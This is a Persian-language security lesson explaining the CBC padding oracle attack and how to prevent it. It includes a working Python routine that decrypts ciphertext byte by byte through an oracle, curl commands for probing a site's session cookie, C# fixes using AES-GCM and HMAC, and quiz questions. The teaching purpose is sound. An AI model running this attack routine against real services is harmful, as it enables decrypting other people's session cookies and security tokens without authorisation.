در حال بارگذاری...
بررسی و تست آسیبپذیری Padding Oracle که به مهاجم اجازه میدهد دادههای رمزنگاریشده را بدون دانستن کلید رمزگشایی کند.
اهداف این درس
Padding Oracle یک حمله رمزنگاری است که از تفاوت پاسخهای سرور به دادههای رمزنگاریشده با padding نادرست و صحیح سوءاستفاده میکند. این حمله اولین بار در سال 2002 توسط Serge Vaudenay معرفی شد و میتواند بدون دانستن کلید رمزنگاری، plaintext را بازیابی کند.
اضافه کردن بایتهای اضافی به انتهای داده قبل از رمزنگاری برای تکمیل بلوک. در حالت CBC، padding باید قبل از رمزگشایی حذف شود.
سیستمی که اطلاعاتی درباره صحت یا نادرستی ورودی ارائه میدهد. در Padding Oracle، سرور با گزارش خطای padding بهعنوان Oracle عمل میکند.
در حالت CBC، داده قبل از رمزنگاری باید به اندازه بلوک تکمیل شود (padding). اگر padding نادرست باشد، سرور خطا تولید میکند. مهاجم با تغییر بایتهای ciphertext و بررسی پاسخ سرور (خطای padding یا خطای دیگر)، میتواند plaintext را بایت به بایت بازیابی کند.
فرض کنید سرور یک cookie رمزنگاریشده با AES-CBC دارد. اگر سرور خطای padding را مجزا گزارش کند، مهاجم میتواند محتوای cookie را بدون دانستن کلید بازیابی کند.
1# فرض: سرور خطای padding را مجزا گزارش میکند2# پاسخ 200 = padding صحیح3# پاسخ 500 = padding نادرست45def padding_oracle_attack(ciphertext, iv, oracle):6 plaintext = b''7 blocks = [iv] + [ciphertext[i:i+16] for i in range(0, len(ciphertext), 16)]8 9 for block_num in range(1, len(blocks)):10 decrypted_block = bytearray(16)11 12 for byte_pos in range(15, -1, -1):13 padding_value = 16 - byte_pos14 15 for guess in range(256):16 # تغییر بایتهای قبلی17 modified_block = bytearray(blocks[block_num - 1])18 for i in range(byte_pos + 1, 16):19 modified_block[i] ^= decrypted_block[i] ^ padding_value20 modified_block[byte_pos] ^= guess ^ padding_value21 22 # ارسال به Oracle23 if oracle(bytes(modified_block) + blocks[block_num]):24 decrypted_block[byte_pos] = guess25 break26 27 plaintext += bytes(decrypted_block)28 29 return plaintext1# ارسال ciphertext معتبر2curl -v -b 'session=VALID_CIPHERTEXT' https://target.com/dashboard34# ارسال ciphertext با padding نادرست5curl -v -b 'session=MODIFIED_CIPHERTEXT' https://target.com/dashboard67# بررسی تفاوت پاسخها8# اگر پاسخها متفاوت باشند، سرور ممکن است آسیبپذیر باشدPadding Oracle میتواند منجر به رمزگشایی دادههای حساس مثل sessionها، cookieها و توکنهای امنیتی شود. همچنین میتواند برای رمزنگاری دادههای جدید (Encryption Oracle) استفاده شود.
هشدار
حتی اگر خطای padding را مجزا گزارش نکنید، تفاوت زمان پاسخ میتواند اطلاعاتی به مهاجم بدهد. از constant-time comparison برای تأیید padding استفاده کنید.
1// استفاده از AES-GCM (AEAD)2using var aes = new AesGcm(key, 16);3aes.Decrypt(nonce, ciphertext, tag, plaintext, associatedData);45// یا تأیید HMAC قبل از رمزگشایی6using var hmac = new HMACSHA256(hmacKey);7var computedMac = hmac.ComputeHash(ciphertext);8if (!CryptographicOperations.FixedTimeEquals(computedMac, receivedMac))9 throw new CryptographicException("Invalid MAC");1011// رمزگشایی فقط بعد از تأیید صحت12using var aes = Aes.Create();13aes.Mode = CipherMode.CBC;14aes.Padding = PaddingMode.PKCS7;15// ...توصیه عملی
همیشه از Encrypt-then-MAC استفاده کنید: ابتدا داده را رمزنگاری کنید، سپس MAC را روی ciphertext محاسبه کنید. قبل از رمزگشایی، ابتدا MAC را تأیید کنید.
Padding Oracle از تفاوت پاسخهای خطا برای رمزگشایی دادهها استفاده میکند.
حالت CBC بدون تأیید صحت آسیبپذیر است.
هرگز خطای padding را بهصورت مجزا گزارش نکنید.
از AEAD مثل GCM یا HMAC برای تأیید صحت استفاده کنید.
Padding Oracle از کدام حالت رمزنگاری سوءاستفاده میکند؟
Padding Oracle چیست و چگونه کار میکند؟
Padding Oracle حملهای است که از تفاوت پاسخهای سرور به دادههای رمزنگاریشده با padding نادرست و صحیح استفاده میکند. مهاجم با تغییر بایتهای ciphertext و بررسی پاسخ سرور، میتواند plaintext را بدون دانستن کلید بازیابی کند.
چگونه از Padding Oracle جلوگیری کنیم؟
از حالتهای AEAD مثل GCM استفاده کنید، قبل از رمزگشایی صحت داده را با HMAC تأیید کنید، و هرگز خطای padding را بهصورت مجزا گزارش نکنید.